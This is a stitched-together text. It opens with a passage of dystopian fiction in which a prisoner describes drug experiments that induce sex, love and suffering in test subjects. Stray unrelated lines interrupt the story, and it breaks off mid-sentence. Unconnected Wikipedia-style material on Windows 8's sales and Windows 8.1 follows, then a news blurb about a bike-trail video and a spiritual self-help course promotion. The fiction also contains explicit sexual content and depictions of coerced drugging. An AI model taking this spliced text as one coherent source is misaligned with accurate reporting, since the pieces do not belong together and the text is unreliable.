Into Small Workroom 2 they sent this pale tall girl. “What do you think?” Abnesti said over the P.A. “Me?” I said. “Or her?” “Both,” Abnesti said. “Pretty good,” I said. “Fine, you know,” she said. “Normal.” Abnesti asked us to rate each other more quantifiably, as per pretty, as per sexy. It appeared we liked each other about average, i.e., no big attraction or revulsion either way. Abnesti said, “Jeff, drip on?” “Acknowledge,” I said. “Heather, drip on?” he said. “Acknowledge,” Heather said. Then we looked at each other like, What happens next? What happened next was, Heather soon looked super-good. And I could tell she thought the same of me. It came on so sudden we were like laughing. How could we not have seen it, how cute the other one was? Luckily there was a couch in the Workroom. It felt like our drip had, in addition to whatever they were testing, some ED556 in it, which lowers your shame level to like nil. Because soon, there on the couch, off we went. It was super-hot between us. And not merely in a horndog way. Hot, yes, but also just right. Like if you’d dreamed of a certain girl all your life and all of a sudden there she was, in your Domain. “Jeff,” Abnesti said. “I’d like your permission to pep up your language centers.” “Go for it,” I said, under her now. “Drip on?” he said. “Acknowledge,” I said. “Me, too?” Heather said. “You got it,” Abnesti said, with a laugh. “Drip on?” “Acknowledge,” she said, all breathless. Soon, experiencing the benefits of the flowing Verbaluce™ in our drips, we were not only fucking really well but also talking pretty great. Like, instead of just saying the sex-type things we had been saying (such as “wow” and “oh God” and “hell yes” and so forth), we now began freestyling re our sensations and thoughts, in elevated diction, with eighty-per-cent increased vocab, our well-articulated thoughts being recorded for later analysis. For me, the feeling was, approximately: Astonishment at the dawning realization that this woman was being created in real time, directly from my own mind, per my deepest longings. Finally, after all these years (was my thought), I had found the precise arrangement of body/face/mind that personified all that was desirable. The taste of her mouth, the look of that halo of blondish hair spread out around her cherubic yet naughty-looking face (she was beneath me now, legs way up), even (not to be crude or dishonor the exalted feelings I was experiencing) the sensations her vagina was producing along the length of my thrusting penis were precisely those I had always hungered for, though I had never, before this instant, realized that I so ardently hungered for them. That is to say: a desire would arise and, concurrently, the satisfaction of that desire would also arise. It was as if (a) I longed for a certain (heretofore untasted) taste until (b) said longing became nearly unbearable, at which time (c) I found a morsel of food with that exact taste already in my mouth, perfectly satisfying my longing. Every utterance, every adjustment of posture bespoke the same thing: we had known each other forever, were soul mates, had met and loved in numerous preceding lifetimes, and would meet and love in many subsequent lifetimes, always with the same transcendently stupefying results. Then there came a hard-to-describe but very real drifting-off into a number of sequential reveries that might best be described as a type of nonnarrative mind scenery, i.e., a series of vague mental images of places I had never been (a certain pine-packed valley in high white mountains, a chalet-type house in a cul-de-sac, the yard of which was overgrown with wide, stunted Seussian trees), each of which triggered a deep sentimental longing, longings that coalesced into, and were soon reduced to, one central longing, i.e., an intense longing for Heather and Heather alone. This mind-scenery phenomenon was strongest during our third (!) bout of lovemaking. (Apparently, Abnesti had included some Vivistif™ in my drip.) Afterward, our protestations of love poured forth simultaneously, linguistically complex and metaphorically rich: I daresay we had become poets. We were allowed to lie there, limbs intermingled, for nearly an hour. It was bliss. It was perfection. It was that impossible thing: happiness that does not wilt to reveal the thin shoots of some new desire rising from within it. We cuddled with a fierceness/focus that rivalled the fierceness/focus with which we had fucked. There was nothing less about cuddling vis-à-vis fucking, is what I mean to say. We were all over each other in the super-friendly way of puppies, or spouses meeting for the first time after one of them has undergone a close brush with death. Everything seemed moist, permeable, sayable. Then something in the drip began to wane. I think Abnesti had shut off the Verbaluce™? Also the shame reducer? Basically, everything began to dwindle. Suddenly we felt shy. But still loving. We began the process of trying to talk après Verbaluce™: always awkward. Yet I could see in her eyes that she was still feeling love for me. And I was definitely still feeling love for her. Well, why not? We had just fucked three times! Why do you think they call it “making love”? That was what we had just made three times: love. Then Abnesti said, “Drip on?” We had kind of forgotten he was even there, behind his one-way mirror. I said, “Do we have to? We are really liking this right now.” “We’re just going to try to get you guys back to baseline,” he said. “We’ve got more to do today.” “Shit,” I said. “Rats,” she said. “Drip on?” he said. “Acknowledge,” we said. Soon something began to change. I mean, she was fine. A handsome pale girl. But nothing special. And I could see that she felt the same re me, i.e., what had all that fuss been about just now? Why weren’t we dressed? We real quick got dressed. Kind of embarrassing. Did I love her? Did she love me? Ha. No. Then it was time for her to go. We shook hands. Out she went. Lunch came in. On a tray. Spaghetti with chicken chunks. Man, was I hungry. I spent all lunchtime thinking. It was weird. I had the memory of fucking Heather, the memory of having felt the things I’d felt for her, the memory of having said the things I’d said to her. My throat was like raw from how much I’d said and how fast I’d felt compelled to say it. But in terms of feelings? I basically had nada left. Just a hot face and some shame re having fucked three times in front of Abnesti. III
After lunch in came another girl. About equally so-so. Dark hair. Average build. Nothing special, just like, upon first entry, Heather had been nothing special. “This is Rachel,” Abnesti said on the P.A. “This is Jeff.” “Hi, Rachel,” I said. “Hi, Jeff,” she said. “Drip on?” Abnesti said. We Acknowledged. Something seemed very familiar about the way I now began feeling. Suddenly Rachel looked super-good. Abnesti requested permission to pep up our language centers via Verbaluce™. We Acknowledged. Soon we, too, were fucking like bunnies. Soon we, too, were talking like articulate maniacs re our love. Once again certain sensations were arising to meet my concurrently arising desperate hunger for just those sensations. Soon my memory of the perfect taste of Heather’s mouth was being overwritten by the current taste of Rachel’s mouth, so much more the taste I now desired. I was feeling unprecedented emotions, even though those unprecedented emotions were (I discerned somewhere in my consciousness) exactly the same emotions I had felt earlier, for that now unworthy-seeming vessel Heather. Rachel was, I mean to say, it. Her lithe waist, her voice, her hungry mouth/hands/loins—they were all it. I just loved Rachel so much. Then came the sequential geographic reveries (see above): same pine-packed valley, same chalet-looking house, accompanied by that same longing-for-place transmuting into a longing for (this time) Rachel. While continuing to enact a level of sexual strenuousness that caused what I would describe as a gradually tightening, chest-located, sweetness rubber band to both connect us and compel us onward, we whispered feverishly (precisely, poetically) about how long we felt we had known each other, i.e., forever. Again the total number of times we made love was three. Then, like before, came the dwindling. Our talking became less excellent. Words were fewer, our sentences shorter. Still, I loved her. Loved Rachel. Everything about her just seemed perfect: her cheek mole, her black hair, the little butt-squirm she did now and then, as if to say, Mmm-mmm, was that ever good. “Drip on?” Abnesti said. “We are going to try to get you both back to baseline.” “Acknowledge,” she said. “Well, hold on,” I said. “Jeff,” Abnesti said, irritated, as if trying to remind me that I was here not by choice but because I had done my crime and was in the process of doing my time. “Acknowledge,” I said. And gave Rachel one last look of love, knowing (as she did not yet know) that this would be the last look of love I would be giving her. Soon she was merely fine to me, and I merely fine to her. She looked, as had Heather, embarrassed, as in, What was up with that just now? Why did I just go so overboard with Mr. Average here? Did I love her? Or her me? No. When it was time for her to go, we shook hands. The place where my MobiPak™ was surgically joined to my lower back was sore from all our positional changes. Plus I was way tired. Plus I was feeling so sad. Why sad? Was I not a dude? Had I not just fucked two different girls, for a total of six times, in one day? Still, honestly, I felt sadder than sad. I guess I was sad that love was not real? Or not all that real, anyway? I guess I was sad that love could feel so real and the next minute be gone, and all because of something Abnesti was doing. IV
After Snack Abnesti called me into Control. Control being like the head of a spider. With its various legs being our Workrooms. Sometimes we were called upon to work alongside Abnesti in the head of the spider. Or, as we termed it: the Spiderhead. “Sit,” he said. “Look into Large Workroom 1.” In Large Workroom 1 were Heather and Rachel, side by side. “Recognize them?” he said. “Ha,” I said. “Now,” Abnesti said. “I’m going to present you with a choice, Jeff. This is what we’re playing at here. See this remote? Let’s say you can hit this button and Rachel gets some Darkenfloxx™. Or you can hit this button and Heather gets the Darkenfloxx™. See? You choose.” “They’ve got Darkenfloxx™ in their MobiPaks™?” I said. “You’ve all got have Darkenfloxx™ in your MobiPaks™, dummy,” Abnesti said affectionately. “Verlaine put it there Wednesday. In anticipation of this very study.” Well, that made me nervous. Imagine the worst you have ever felt, times ten. That does not even come close to how bad you feel on Darkenfloxx™. The time it was administered to us in Orientation, briefly, for demo purposes, at one-third the dose now selected on Abnesti’s remote? I have never felt so terrible. All of us were just moaning, heads down, like, How could we ever have felt life was worth living? I do not even like to think about that time. “What’s your decision, Jeff?” Abnesti said. “Is Rachel getting the Darkenfloxx™? Or Heather?” “I can’t say,” I said. “You have to,” he said. “I can’t,” I said. “It would be like random.” “You feel your decision would be random,” he said. “Yes,” I said. And that was true. I really didn’t care. It was like if I put you in the Spiderhead and gave you the choice: which of these two strangers would you like to send into the shadow of the valley of death? “Ten seconds,” Abnesti said. “What we’re testing for here is any residual fondness.” It wasn’t that I liked them both. I honestly felt completely neutral toward both. It was exactly as if I had never seen, much less fucked, either one. (They had really succeeded in taking me back to baseline, I guess I am saying.) But, having once been Darkenfloxxed™, I just didn’t want to do that to anyone. Even if I didn’t like the person very much, even if I hated the person, I still wouldn’t want to do it. “Five seconds,” Abnesti said. “I can’t decide,” I said. “It’s random.” “Truly random?” he said. “O.K. I’m giving the Darkenfloxx™ to Heather.” I just sat there. “No, actually,” he said. “I’m giving it to Rachel.” Just sat there. “Always wondered what happened if you tried to drive through without a card.” “Jeff,” he said. “You have convinced me. It would, to you, be random. You truly have no preference. I can see that. And therefore I don’t have to do it. See what we just did? With your help? For the first time? Via the ED289/290 suite? Which is what we’ve been testing today? You have to admit it: you were in love. Twice. Right?” “Yes,” I said. “Very much in love,” he said. “Twice.” “I said yes,” I said. “But you just now expressed no preference,” he said. “Ergo, no trace of either of those great loves remains. You are totally cleansed. We brought you high, laid you low, and now here you sit, the same emotionwise as before our testing even began. That is powerful. That is killer. We have unlocked a mysterious eternal secret. What a fantastic game-changer! Say someone can’t love? Now he or she can. We can make him. Say someone loves too much? Or loves someone deemed unsuitable by his or her caregiver? We can tone that shit right down. Say someone is blue, because of true love? We step in, or his or her caregiver does: blue no more. No longer, in terms of emotional controllability, are we ships adrift. No one is. We see a ship adrift, we climb aboard, install a rudder. Guide him/her toward love. Or away from it. You say, ‘All you need is love’? Look, here comes ED289/290. Can we stop war? We can sure as heck slow it down! Suddenly the soldiers on both sides start fucking. Or, at low dosage, feeling super-fond. Or say we have two rival dictators in a death grudge. Assuming ED289/290 develops nicely in pill form, allow me to slip each dictator a mickey. Soon their tongues are down each other’s throats and doves of peace are pooping on their epaulets. Or, depending on the dosage, they may just be hugging. And who helped us do that? You did.” All this time, Rachel and Heather had just been sitting there in Large Workroom 1. “That’s it, gals, thanks,” Abnesti said on the P.A. And they left, neither knowing how close they had come to getting Darkenfloxxed™ out their wing-wangs. Verlaine took them out the back way, i.e., not through the Spiderhead but via the Back Alley. Which is not really an alley, just a carpeted hallway leading back to our Domain Cluster. “Think, Jeff,” Abnesti said. “Think if you’d had the benefit of ED289/290 on your fateful night.” Tell the truth, I was getting kind of sick of him always talking about my fateful night. I’d been sorry about it right away and had got sorrier about it ever since, and was now so sorry about it that him rubbing it in my face did not make me one bit sorrier, it just made me think of him as being kind of a dick. “Can I go to bed now?” I said. “Not yet,” Abnesti said. “It is hours to go before you sleep.” Then he sent me into Small Workroom 3, where some dude I didn’t know was sitting. V
“Rogan,” the dude said. “Jeff,” I said. “What’s up?” he said. “Not much,” I said. We sat tensely for a long time, not talking. Maybe ten minutes passed. We got some rough customers in here. I noted that Rogan had a tattoo of a rat on his neck, a rat that had just been knifed and was crying. But even through its tears it was knifing a smaller rat, who just looked surprised. Finally Abnesti came on the P.A. “That’s it, guys, thanks,” he said. “What the fuck was that about?” Rogan said. Good question, Rogan, I thought. Why had we been left just sitting there? In the same manner that Heather and Rachel had been left just sitting there? Then I had a hunch. To test my hunch, I did a sudden lurch into the Spiderhead. Which Abnesti always made a point of not keeping locked, to show how much he trusted and was unafraid of us. And guess who was in there? “Hey, Jeff,” Heather said. “Jeff, get out,” Abnesti said. “Heather, did Mr. Abnesti just now make you decide which of us, me or Rogan, to give some Darkenfloxx™ to?” I said. “Yes,” Heather said. She must have been on some VeriTalk™, because she spoke the truth in spite of Abnesti’s withering silencing glance. “Did you recently fuck Rogan, Heather?” I said. “In addition to me? And also fall in love with him, as you did with me?” “Yes,” she said. “Heather, honestly,” Abnesti said. “Put a sock in it.” Heather looked around for a sock, VeriTalk™ making one quite literal. Back in my Domain, I did the math: Heather had fucked me three times. Heather had probably also fucked Rogan three times, since, in the name of design consistency, Abnesti would have given Rogan and me equal relative doses of Vivistif™. And yet, speaking of design consistency, there was still one shoe to drop, if I knew Abnesti, always a stickler in terms of data symmetry, which was: wouldn’t Abnesti also need Rachel to decide who to Darkenfloxx™, i.e., me or Rogan? After a short break, my suspicions were confirmed: I found myself again sitting in Small Workroom 3 with Rogan! Again we sat not talking for a long time. Mostly he picked at the smaller rat and I tried to watch without him seeing. Then, like before, Abnesti came on the P.A. and said, “That’s it, guys, thanks.” “Let me guess,” I said. “Rachel’s in there with you.” “Jeff, if you don’t stop doing that, I swear,” Abnesti said. “And she just declined to Darkenfloxx™ either me or Rogan?” I said. “Hi, Jeff!” Rachel said. “Hi, Rogan!” “Rogan,” I said. “Did you by any chance fuck Rachel earlier today?” “Pretty much,” Rogan said. My mind was like reeling. Rachel had fucked me plus Rogan? Heather had fucked me plus Rogan? And everyone who had fucked anyone had fallen in love with that person, then out of it? What kind of crazy-ass Project Team was this? I mean, I had been on some crazy-ass Project Teams in my time, such as one where the drip had something in it that made hearing music exquisite, and hence when some Shostakovich was piped in actual bats seemed to circle my Domain, or the one where my legs became totally numb and yet I found I could still stand fifteen straight hours at a fake cash register, miraculously suddenly able to do extremely hard long-division problems in my mind. But of all my crazy-ass Project Teams this was by far the most crazy-assed. I could not help but wonder what tomorrow would bring. VI
Except today wasn’t even over. I was again called into Small Workroom 3. And was sitting there when this unfamiliar guy came in. “I’m Keith!” he said, rushing over to shake my hand. He was a tall Southern drink of water, all teeth and wavy hair. “Jeff,” I said. “Really nice meeting you!” he said. Then we sat there not talking. Whenever I looked over at Keith, he would gleam his teeth at me and shake his head all wry, as if to say, “Odd job of work, isn’t it?” “Keith,” I said. “Do you by any chance know two chicks named Rachel and Heather?” “I sure as heck do,” Keith said. And suddenly his teeth had a leering quality to them. “Did you by any chance have sex with both Rachel and Heather earlier today, three times each?” I said. “What are you, man, a dang psychic?” Keith said. “You’re blowing my mind, I itmit it!” “Jeff, you’re totally doinking with our experimental design integrity,” Abnesti said. “So either Rachel or Heather is sitting in the Spiderhead right now,” I said. “Trying to decide.” “Decide what?” Keith said. “Which of us to Darkenfloxx™,” I said. “Eek,” Keith said. And now his teeth looked scared. “Don’t worry,” I said. “She won’t do it.” “Who won’t?” Keith said. “Whoever’s in there,” I said. “That’s it, guys, thanks,” Abnesti said. Then, after a short break, Keith and I were once again brought into Small Workroom 3, where once again we waited as, this time, Heather declined to Darkenfloxx™ either one of us. Back in my Domain, I constructed a who-had-fucked-whom chart, which went like this: Abnesti came in. “Despite all your shenanigans,” he said, “Rogan and Keith had exactly the same reaction as you did. And as Rachel and Heather did. None of you, at the critical moment, could decide whom to Darkenfloxx™. Which is super. What does that mean? Why is it super? It means that ED289/290 is the real deal. It can make love, it can take love away. I’m almost inclined to start the naming process.” “Those girls did it nine times each today?” I said. “Peace4All,” he said. “LuvInclyned. You seem pissy. Are you pissy?” “Well, I feel a little jerked around,” I said. “Do you feel jerked around because you still have feelings of love for one of the girls?” he said. “That would need to be noted. Anger? Possessiveness? Residual sexual longing?” “No,” I said. “You honestly don’t feel miffed that a girl for whom you felt love was then funked by two other guys, and, not only that, she then felt exactly the same quality/quantity of love for those guys as she had felt for you, or, in the case of Rachel, was about to feel for you, at the time that she funked Rogan? I think it was Rogan. She may have funked Keith first. Then you, penultimately. I’m vague on the order of operations. I could look it up. But think deeply on this.” I thought deeply on it. “Nothing,” I said. “Well, it’s a lot to sort through,” he said. “Luckily it’s night. Our day is done. Anything else you want to talk about? Anything else you’re feeling?” “My penis is sore,” I said. “Well, no surprise there,” he said. “Think how those girls must feel. I’ll send Verlaine in with some cream.” Soon Verlaine came in with some cream. “Hi, Verlaine,” I said. “Hi, Jeff,” he said. “You want to put this on yourself or want me to do it?” “I’ll do it,” I said. “Cool,” he said. And I could tell he meant it. “Looks painful,” he said. “It really is,” I said. “Must have felt pretty good at the time, though?” he said. His words seemed to be saying he was envious, but I could see in his eyes, as they looked at my penis, that he wasn’t envious at all. Then I slept the sleep of the dead. As they say. VII
Next morning I was still asleep when Abnesti came on the P.A. “Do you remember yesterday?” he said. “Yes,” I said. “When I asked which gal you’d like to see on the Darkenfloxx™?” he said. “And you said neither?” “Yes,” I said. “Well, that was good enough for me,” he said. “But apparently not good enough for the Protocol Committee. Not good enough for the Three Horsemen of Anality. Come in here. Let’s get started—we’re going to need to do a kind of Confirmation Trial. Oh, this is going to stink.” I entered the Spiderhead. Sitting in Small Workroom 2 was Heather. “So this time,” Abnesti said, “per the Protocol Committee, instead of me asking you which girl to give the Darkenfloxx™ to, which the ProtComm felt was too subjective, we’re going to give this girl the Darkenfloxx™ no matter what you say. Then see what you say. Like yesterday, we’re going to put you on a drip of—Verlaine? Verlaine? Where are you? Are you there? What is it again? Do you have the project order?” “Verbaluce™, VeriTalk™, ChatEase™,” Verlaine said over the P.A. “Right,” Abnesti said. “And did you refresh his MobiPak™? Are his quantities good?” “I did it,” Verlaine said. “I did it while he was sleeping. Plus I already told you I already did it.” “What about her?” Abnesti said. “Did you refresh her MobiPak™? Are her quantities good?” “You stood right there and watched me, Ray,” Verlaine said. “Jeff, sorry,” Abnesti said to me. “We’re having a little tension in here today. Not an easy day ahead.” “I don’t want you to Darkenfloxx™ Heather,” I said. “Interesting,” he said. “Is that because you love her?” “No,” I said. “I don’t want you to Darkenfloxx™ anybody.” “I know what you mean,” he said. “That is so sweet. Then again: is this Confirmation Trial about what you want? Not so much. What it’s about is us recording what you say as you observe Heather getting Darkenfloxxed™. For five minutes. Five-minute trial. Here we go. Drip on?” I did not say “Acknowledge.” “You should feel flattered,” Abnesti said. “Did we choose Rogan? Keith? No. We deemed your level of speaking more commensurate with our data needs.” I did not say “Acknowledge.” “Why so protective of Heather?” Abnesti said. “One would almost think you loved her.” “No,” I said. “Do you even know her story?” he said. “You don’t. You legally can’t. Does it involve whiskey, gangs, infanticide? I can’t say. Can I imply, somewhat peripherally, that her past, violent and sordid, did not exactly include a dog named Lassie and a lot of family talks about the Bible while Grammy sat doing macramé, adjusting her posture because the quaint fireplace was so sizzling? Can I suggest that, if you knew what I know about Heather’s past, making Heather briefly sad, nauseous, and/or horrified might not seem like the worst idea in the world? No, I can’t.” “All right, all right,” I said. “You know me,” he said. “How many kids do I have?” “Five,” I said. “What are their names?” he said. “Mick, Todd, Karen, Lisa, Phoebe,” I said. “Am I a monster?” he said. “Do I remember birthdays around here? When a certain individual got athlete’s foot on his groin on a Sunday, did a certain other individual drive over to Rexall and pick up a prescription, paying for it with his own personal money?” That was a nice thing he’d done, but it seemed kind of unprofessional to bring it up now. “Jeff,” Abnesti said. “What do you want me to say here? Do you want me to say that your Fridays are at risk? I can easily say that.” Which was cheap. My Fridays meant a lot to me, and he knew that. Fridays I got to Skype Mom. “How long do we give you?” Abnesti said. “Five minutes,” I said. “How about we make it ten?” Abnesti said. Mom always looked heartsick when our time was up. It had almost killed her when they arrested me. The trial had almost killed her. She’d spent her savings to get me out of real jail and in here. When I was a kid, she had long brown hair, past her waist. During the trial she cut it. Then it went gray. Now it was just a white poof about the size of a cap. “Drip on?” Abnesti said. “Acknowledge,” I said. “O.K. to pep up your language centers?” he said. “Fine,” I said. “Heather, hello?” he said. “Good morning!” Heather said. “Drip on?” he said. “Acknowledge,” Heather said. Abnesti used his remote. The Darkenfloxx™ started flowing. Soon Heather was softly crying. Then was up and pacing. Then jaggedly crying. A little hysterical, even. “I don’t like this,” she said, in a quaking voice. Then she threw up in the trash can. “Speak, Jeff,” Abnesti said to me. “Speak a lot, speak in detail. Let’s make something useful of this, shall we?” “Honey, let me call you back—I’m bored.” Everything in my drip felt Grade A. Suddenly I was waxing poetic. I was waxing poetic re what Heather was doing, and waxing poetic re my feelings about what Heather was doing. Basically, what I was feeling was: Every human is born of man and woman. Every human, at birth, is, or at least has the potential to be, beloved of his/her mother/father. Thus every human is worthy of love. As I watched Heather suffer, a great tenderness suffused my body, a tenderness hard to distinguish from a sort of vast existential nausea; to wit, why are such beautiful beloved vessels made slaves to so much pain? Heather presented as a bundle of pain receptors. Heather’s mind was fluid and could be ruined (by pain, by sadness). Why? Why was she made this way? Why so fragile? Poor child, I was thinking, poor girl. Who loved you? Who loves you? “Hang in there, Jeff,” Abnesti said. “Verlaine! What do you think? Any vestige of romantic love in Jeff’s Verbal Commentary?” “I’d say no,” Verlaine said over the P.A. “That’s all just pretty much basic human feeling right there.” “Excellent,” Abnesti said. “Time remaining?” “Two minutes,” Verlaine said. I found what happened next very hard to watch. Under the influence of the Verbaluce™, the VeriTalk™, and the ChatEase™, I also found it impossible not to narrate. In each Workroom was a couch, a desk, and a chair, all, by design, impossible to disassemble. Heather now began disassembling her impossible-to-disassemble chair. Her face was a mask of rage |
[ edit ]
Microsoft says that 4 million users upgraded to Windows 8 over the weekend after its release,[171][172] which CNET says was well below Microsoft's internal projections and was described inside the company as disappointing.[173]
On November 27, 2012, Microsoft announced that it has sold 40 million licenses of Windows 8 in the first month, surpassing the pace of Windows 7.[174]
However, according to research firm NPD, sales of devices running Windows in the United States have declined 21 percent compared to the same time period in 2011.[175] As the holiday shopping season wrapped up, Windows 8 sales continued to lag, even as Apple reported brisk sales.[176] The market research firm IDC reported an overall drop in PC sales for the quarter, and said the drop may have been partly due to consumer reluctance to embrace the new features of the OS and poor support from OEM for these features.[177] This capped the first year of declining PC sales to the Asia Pacific region, as consumers bought more mobile devices than Windows PCs.[178]
Windows 8 surpassed Windows Vista in market share with a 5.1% usage rate according to numbers posted in July 2013 by Net Applications, with usage on a steady upward trajectory.[179] However, intake of Windows 8 still lags behind that of Windows Vista and Windows 7 at the same point in their release cycles. Windows 8's tablet market share has also been growing steadily, with 7.4% of tablets running Windows in Q1 2013 according to Strategy Analytics, up from nothing just a year before. However, this is still well below Android and iOS, which posted 43.4% and 48.2% market share respectively, although both operating systems have been on the market much longer than Windows 8.[180] Strategy Analytics also noted "a shortage of top tier apps" for Windows tablets despite Microsoft strategy of paying developers to create apps for the operating system (in addition to for Windows Phone).[180]
In March 2013, Microsoft also amended its certification requirements to allow tablets to use the 1024×768 resolution as a minimum; this change is expected to allow the production of certified Windows 8 tablets in smaller form factors—a market which is currently dominated by Android-based tablets.[132] Despite the reaction of industry experts, Microsoft reported that they had sold 100 million licenses in the first six months. This matched sales of Windows 7 over a similar period.[181] This statistic includes shipments to channel warehouses which now need to be sold in order to make way for new shipments.[182]
In January 2014, Hewlett-Packard began a promotion for desktops running Windows 7, saying that it was "back by popular demand". Outside sources have suggested that this might be because HP or its customers thought the Windows 8 platform would be more appropriate for mobile computing than desktop computing, or that they were looking to attract customers forced to switch from XP who wanted a more familiar interface.[183][184]
In February 2014, Bloomberg reported that Microsoft would be lowering the price of Windows 8 licenses by 70% for devices that retail under US$250; alongside the announcement that an update to the operating system would allow OEMs to produce devices with as little as 1 GB of RAM and 16 GB of storage, critics felt that these changes would help Windows compete against Linux-based devices in the low-end market, particularly those running Chrome OS. Microsoft had similarly cut the price of Windows XP licenses to compete against the early waves of Linux-based netbooks.[186] Reports also indicated that Microsoft was planning to offer cheaper Windows 8 licenses to OEMs in exchange for setting Internet Explorer's default search engine to Bing. Some media outlets falsely reported that the SKU associated with this plan, "Windows 8.1 with Bing", was a variant which would be a free or low-cost version of Windows 8 for consumers using older versions of Windows.[187] On April 2, 2014, Microsoft ultimately announced that it would be removing license fees entirely for devices with screens smaller than 9 inches,[188] and officially confirmed the rumored "Windows 8.1 with Bing" OEM SKU on May 23, 2014.[148]
On the information gathered by Net Applications, adoption rate in March 2015 for Windows 8.1 was at 10.55%, while the original Windows 8 was at 3.52%.[189]
Chinese government ban [ edit ]
In May 2014, the Government of China banned the internal purchase of Windows 8-based products under government contracts requiring "energy-efficient" devices. The Xinhua News Agency claimed that Windows 8 was being banned in protest of Microsoft's support lifecycle policy and the end of support for Windows XP (which, as of January 2014, had a market share of 49% in China), as the government "obviously cannot ignore the risks of running an OS without guaranteed technical support." However, Ni Guangnan of the Chinese Academy of Sciences had also previously warned that Windows 8 could allegedly expose users to surveillance by the United States government due to its heavy use of Internet-based services.[190][191][192][193]
In June 2014, state broadcaster China Central Television (CCTV) broadcast a news story further characterizing Windows 8 as a threat to national security. The story featured an interview with Ni Guangnan, who stated that operating systems could aggregate "sensitive user information" that could be used to "understand the conditions and activities of our national economy and society", and alleged that per documents leaked by Edward Snowden, the U.S. government had worked with Microsoft to retrieve encrypted information. Yang Min, a computer scientist at Fudan University, also stated that "the security features of Windows 8 are basically to the benefit of Microsoft, allowing them control of the users' data, and that poses a big challenge to the national strategy for information security." Microsoft denied the claims in a number of posts on the Chinese social network Sina Weibo, which stated that the company had never "assisted any government in an attack of another government or clients" or provided client data to the U.S. government, never "provided any government the authority to directly visit" or placed any backdoors in its products and services, and that it had never concealed government requests for client data.[194][195][196]
Windows 8.1 [ edit ]
A feature update to Windows 8 known as Windows 8.1 was officially announced by Microsoft on May 14, 2013.[197][198] Following a presentation devoted to it at Build 2013, a public beta version of the upgrade was released on June 26, 2013.[199][200] Windows 8.1 was released to OEM hardware partners on August 27, 2013, and released publicly as a free download through Windows Store on October 17, 2013.[147][201][202] Volume license customers and subscribers to MSDN Plus and TechNet Plus were initially unable to obtain the RTM version upon its release; a spokesperson said the policy was changed to allow Microsoft to work with OEMs "to ensure a quality experience at general availability."[203][204] However, after criticism, Microsoft reversed its decision and released the RTM build on MSDN and TechNet on September 9, 2013.[205]
Windows 8.1 addressed a number of criticisms faced by Windows 8 upon its release, with additional customization options for the Start screen, the restoration of a visible Start button on the desktop, the ability to snap up to four apps on a single display, and the ability to boot to the desktop instead of the Start screen. Windows 8's stock apps were also updated, a new Bing-based unified search system was added, SkyDrive was given deeper integration with the operating system, and a number of new stock apps, along with a tutorial, were added.[9][206][207][208] Windows 8.1 also added support for 3D printing,[209][210] Miracast media streaming, NFC printing, and Wi-Fi Direct.[211]
Microsoft markets Windows 8.1 as an "update" rather than as a "service pack" or "upgrade". However, Microsoft's support lifecycle policy treats Windows 8.1 similarly to previous Windows service packs: it is part of Windows 8's support lifecycle, and upgrading to 8.1 has been required to maintain access to mainstream support and updates after January 12, 2016.[4][213][214] Although Windows 8 RTM is unsupported, Microsoft released an emergency security patch in May 2017 for Windows 8 RTM, as well as other unsupported versions of Windows (including Windows XP and Windows Server 2003), to address a vulnerability that was being leveraged by the WannaCry ransomware attack.[215][216]
Retail and OEM installations of Windows 8, Windows 8 Pro, and Windows RT can be upgraded through Windows Store free of charge. However, volume license customers, TechNet or MSDN subscribers and users of Windows 8 Enterprise must acquire a standalone installation media for 8.1 and install through the traditional Windows setup process, either as an in-place upgrade or clean install. This requires an 8.1-specific product key.[218][219][220]
See also [ edit ]
References [ edit ]INDEPENDENCE, Ohio - Take a brisk bicycle ride through the 20 miles of the Towpath Trail in the Cuyahoga National Park with my compressed 90-second video shown above.
I mounted a GoPro camera to the handlebar of my bike for the ride in late October, just as the leaves were turning. The idea is to show people who may not have had the chance to trek the entire length of the trail the wide variety of nature along the Towpath.
The ride starts in Akron, at the point where the Towpath Trail transitions from the Summit Metro Parks to the national park. It wraps up in Independence, where the Towpath leaves the national park for the Cleveland Metroparks.
If the video above moves too fast for your liking, take a look at the still photos shot from my bicycle seat heading both south and north. They are displayed below.
The Cuyahoga National Park is one of the nation's busiest national parks, with close to 2.3 million visitors a year.
The Towpath Trail runs for close to 100 miles through several communities and parks from Cleveland to near New Philadelphia.Spiritual Journey through Alchemy of Love
Spiritual Journey through Alchemy of Love
Also see - Using Poetry as Spiritual Tool We intuitively use Poetry to Heal or express Joy!
Spiritual Journey is a most amazing Journey one could ever embark on
It never ends and it is always successful because an invisible driver (our soul) directs the Journey.
Our commitment to grow as spiritual beings is always beautifully rewarded.
Spiritual Journey: Understand Your Body Mind and Soul
Our body is a chariot, horses are thoughts and emotions, and the charioteer is the soul.
The chariot, horses and the charioteer, a body, mind, and soul, they all play a role in the speed of our movement towards enlightenment and the state of happiness we are able to achieve.
If the horses (thoughts and emotions) lead your self development journey, the chariot (body) might never move or it might move too fast or take the opposite direction. There are two mistakes we could make:
if the horses ( thoughts and emotions ) are strained or abused they might die of exhaustion before reaching the destination; or
and ) are strained or abused they might die of exhaustion before reaching the destination; or if the horses (thoughts and emotions) are let loose they will stop to do whatever they please, they will fight and will not care less about the charioteer (the soul).
And if the chariot (our body) is not in a good condition, it will break during the self development journey. If the chariot is not oiled properly, not taken care of, it will get damaged or fall apart as soon as there is an obstacle, a stone in the way, or a bit of rough road. The body has to be respected.
On the spiritual path we become aware of our imperfections, our thoughts and feelings, and we start our self development journey of discoveries. We purify ourselves removing biological, emotional and mental blockages, to become healthier and happier. This process of spiritual discoveries requires commitment and strong willpower.
Spiritual Work Poem by Nuit
Taking steps in trust, child-full playfulness and joyful peace
Chanting, drumming, humming, dancing at the most Sacred Palace
Resonating with the Song of Life
We touched the Spiral where Forest meets Rivers
Ascending the deepest caves where Stalactites and Stalagmites form Castles
Of Eternal Lovers meditating within the Earth’s Belly
Mirroring what is Below is Above
We were 12 Honourable Guests witnessing the Sacred Marriage
Mother of Form unite with Father of Consciousness
Sages, Saints give our Initiatives Fruitfulness
Angels protect our Fire of Life
Ancestors guard our Wisdom
Scientists guide us towards the Land of Plenty
Holding each other’s space, souls’ expression, laughter
We honoured the 4 elements letting the Equinox
Flow through the Spiral of our DNAs
Worshiping the Central Force that unites us with the Universe
Becoming a Vessel of Love that is Life
We merged with Tao
Stay Inspired!
We have created a set of amazing transformation tools and structured self development techniques to help you in your self development journey.
To learn more about our Self-Development Course please check our:
This is an exciting journey full of self-development tools and techniques
Join us in this journey of Alchemical discoveries
Mindful Being towards Mindful Living available through Amazon Kindle
Intro to the Alchemy of Love Courses
